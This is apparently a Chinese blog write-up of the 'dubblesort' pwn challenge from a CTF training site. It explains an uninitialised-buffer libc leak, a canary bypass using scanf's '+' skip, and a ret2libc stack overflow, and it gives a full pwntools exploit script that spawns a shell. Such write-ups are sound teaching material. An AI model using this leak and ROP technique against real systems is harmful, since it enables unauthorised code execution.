

攻防世界PWN之dubblesort题解

原创

halvk 于 2019-11-18 21:14:45 发布 609 收藏 2

分类专栏: [pwn CTF 二进制漏洞](#) 文章标签: [PWN CTF 二进制漏洞](#) [缓冲区溢出](#) [逆向工程](#)

版权声明: 本文为博主原创文章, 遵循 [CC 4.0 BY-SA](#) 版权协议, 转载请附上原文出处链接和本声明。

本文链接: <https://blog.csdn.net/seaasecsa/article/details/103131391>

版权



[pwn](#) 同时被 3 个专栏收录

161 篇文章 18 订阅

订阅专栏



[CTF](#)

161 篇文章 8 订阅

订阅专栏



[二进制漏洞](#)

161 篇文章 7 订阅

订阅专栏

dubblesort

首先看一下程序的保护机制

```
[*] '/dubblesort'
Arch:      i386-32-little
RELRO:     Full RELRO
Stack:     Canary found
NX:        NX enabled
PIE:       PIE enabled
FORTIFY:   Enabled
root@bogon:/#
```

保护全开, 并且是一个32位程序

然后, 我们用IDA分析一下

```

int __cdecl main(int argc, const char **argv, const char **envp)
{
    unsigned int v3; // eax
    int *v4; // edi
    unsigned int v5; // esi
    int v6; // ecx
    unsigned int v7; // esi
    int v8; // ST08_4
    int result; // eax
    int v10; // edx
    unsigned int v11; // et1
    unsigned int v12; // [esp+18h] [ebp-74h]
    int v13; // [esp+1Ch] [ebp-70h]
    char buf; // [esp+3Ch] [ebp-50h]
    unsigned int v15; // [esp+7Ch] [ebp-10h]
    |
    v15 = __readgsdword(0x14u);
    sub_8B5();
    __printf_chk(1, "What your name :");
    read(0, &buf, 0x40u);
    __printf_chk(1, "Hello %s,How many numbers do you what to sort :");
    __isoc99_scanf("%u", &v12);
    v3 = v12;
    if ( v12 )
    {
        v4 = &v13;
        v5 = 0;
        do
        {
            __printf_chk(1, "Enter the %d number : ");
            fflush(stdout);
            __isoc99_scanf("%u", v4);
            ++v5;
            v3 = v12;
            ++v4;
        }
    }
}

```

<https://blog.csdn.net/seaaseesa>

这里，有两个漏洞

第一个是在调用read之前，没有调用memset对buf清空，因此，buf里可能之前会有一些残留的关键数据

第二个是，输入的整数个数没有上限，可以造成数据溢出，其实也就是栈溢出。

我们在read断点，然后观察栈中的数据，发现数据还未输入时，栈里就有一些关键数据

```

FFFFBF64C 00000F17
FFFFBF650 FFFBF8E1 [stack]:FFFFBF8E1
FFFFBF654 0000002F
FFFFBF658 5657C034 LOAD:5657C034
FFFFBF65C 00000016
FFFFBF660 00008000
FFFFBF664 F771C000 libc_2.23.so:F771C000
FFFFBF668 F771A244 libc_2.23.so:F771A244
UNKNOWN FFFBF64C: [stack]:FFFFBF64C (Synchronized with ESP)

```

我们可以输入 $7 * 4 = 28$ 个字符，然后printf时，就会把接下来的数据打印出来，直到遇\x00

```

Stack view
FFD76720 61616161
FFD76724 61616161
FFD76728 61616161
FFD7672C 61616161
FFD76730 61616161
FFD76734 61616161
FFD76738 F7797244 libc_32.so.6:F7797244
FFD7673C 56622601 _init_proc+9
UNKNOWN FFD76723: [stack]:FFD76723 (Synchronized with ESP)

```

泄露这个数据后(当前为0xF7797244)，然后我们找到libc的基地址，当前为0xF75E9000

```

debug001:F75E8000 ; [00001000 BYTES: COLLAPSED SEGMENT debug001. PRESS CTRL-NUMPAD+ TO EXPAND]
libc_32.so.6:F75E9000 ; -----
libc_32.so.6:F75E9000 ; =====
libc_32.so.6:F75E9000 |
libc_32.so.6:F75E9000 ; Segment type: Pure code
libc_32.so.6:F75E9000 ; Segment permissions: Read/Execute
libc_32.so.6:F75E9000 libc_32_so_6 segment byte public 'CODE' use32
libc_32.so.6:F75E9000 assume cs:libc_32_so_6
libc_32.so.6:F75E9000 ;org 0F75E9000h
libc_32.so.6:F75E9000 assume es:_stack_, ss:_stack_, ds:_stack_, fs:_stack_, gs:_stack_

```

然后我，我们算的它们之间的偏移

Off = 0xF7797244 - 0xF75E9000 = 0x1AE244

于是，我们就这样泄露libc地址

1. #泄露地址并计算出libc的地址
2. payload = 'a'*0x1C
3. sh.sendafter('name .',payload)
4. sh.recvuntil(payload)
5. #计算libc加载地址
6. libc_base = u32(sh.recv(4)) - off
7. system_addr = libc_base + libc.sym[system]
8. binsh_addr = libc_base + libc.search('/bin/sh').next()

接下来，我们来做一个实验，让我们先抛开本题，来看看这样的代码

1. #include <stdio.h>
2. int main() {
3. int a = 10;
4. while (true) {
5. scanf("%u",&a);
6. printf("%u\n",a);
7. }
8. }

然后，我们发现，当我们输入+或-符号，scanf就直接跳过了对a的输入



经过测试，%u、%x、%d等都有这种特性

然后，我们继续分析此题，

```

unsigned int v12; // [esp+18h] [ebp-74h]
int v13; // [esp+1Ch] [ebp-70h]
char buf; // [esp+3Ch] [ebp-50h]
unsigned int v15; // [esp+7Ch] [ebp-10h]

```

我们接下来会输入n个整数，存入v13的空间处，而v13在ebp-0x70处，v15存的是canary的值，它位于ebp-0x10处，**我们不能把canary的值给改了，我们需要保留它，因此，我们先输入(0x70-0x10)/4 = 24个整数，然后接下来输入+或-号，跳过当前输入**，然后我们到达ebp-0xC处，距离返回地址ebp+0x4还差0x10/4=4个，因此，我们继续输入4个整数，接下来，我们再输入ROP即可

注意，本题IDA分析出来的位置相对于ebp不准，但是各个变量之间的相对关系还是准的

实际，距离返回地址ebp+0x4还差7个，调试调试就知道了

由于，**我们输入的数据会做一遍升序排序，所以，为了保留我们输入的顺序，我们前24个数据都输入0，然后输入+或-跳过canary，然后输入(7 + 1 + 1)个system的地址整数值，然后输入一个binsh_addr的整数值，程序退出main后，便执行shell**

因为system_addr总是小于binsh_addr，而这两个地址值一般大于canary的值，canary是个随机生成的数，如果有时不满足这个大小关系，只需重新执行程序，多试几次即可。

于是，我们最终的exp脚本是这样的

```
1. #coding:utf8
2. from pwn import *
3.
4. sh = process('./dubblesort',env={"LD_PRELOAD" : "./libc_32.so.6"})
5. #sh = remote('111.198.29.45',57605)
6. libc = ELF('./libc_32.so.6')
7. off = 0x1AE244
8.
9. #泄露地址并计算出libc的地址
10. payload = 'a'*0x1C
11. sh.sendafter('name : ',payload)
12. sh.recvuntil(payload)
13. #计算libc加载地址
14. libc_base = u32(sh.recv(4)) - off
15. system_addr = libc_base + libc.sym['system']
16. binsh_addr = libc_base + libc.search('/bin/sh').next()
17.
18. print 'libc_base=',hex(libc_base)
19. print 'system_addr=',hex(system_addr)
20.
21. n = 35
22. sh.sendlineafter('sort : ',str(n))
23.
24. for i in range(0,n-11):
25.     sh.sendlineafter('number : ',str(0))
26.
27. sh.sendlineafter('number : ','+')
28.
29. for i in range(0,9):
30.     sh.sendlineafter('number : ',str(system_addr))
31. sh.sendlineafter('number : ',str(binsh_addr))
```

32.

33. sh.interactive()

本题告诉我们，

用read读取数据到缓冲区前，先对缓冲区初始化

数组要检查下标越界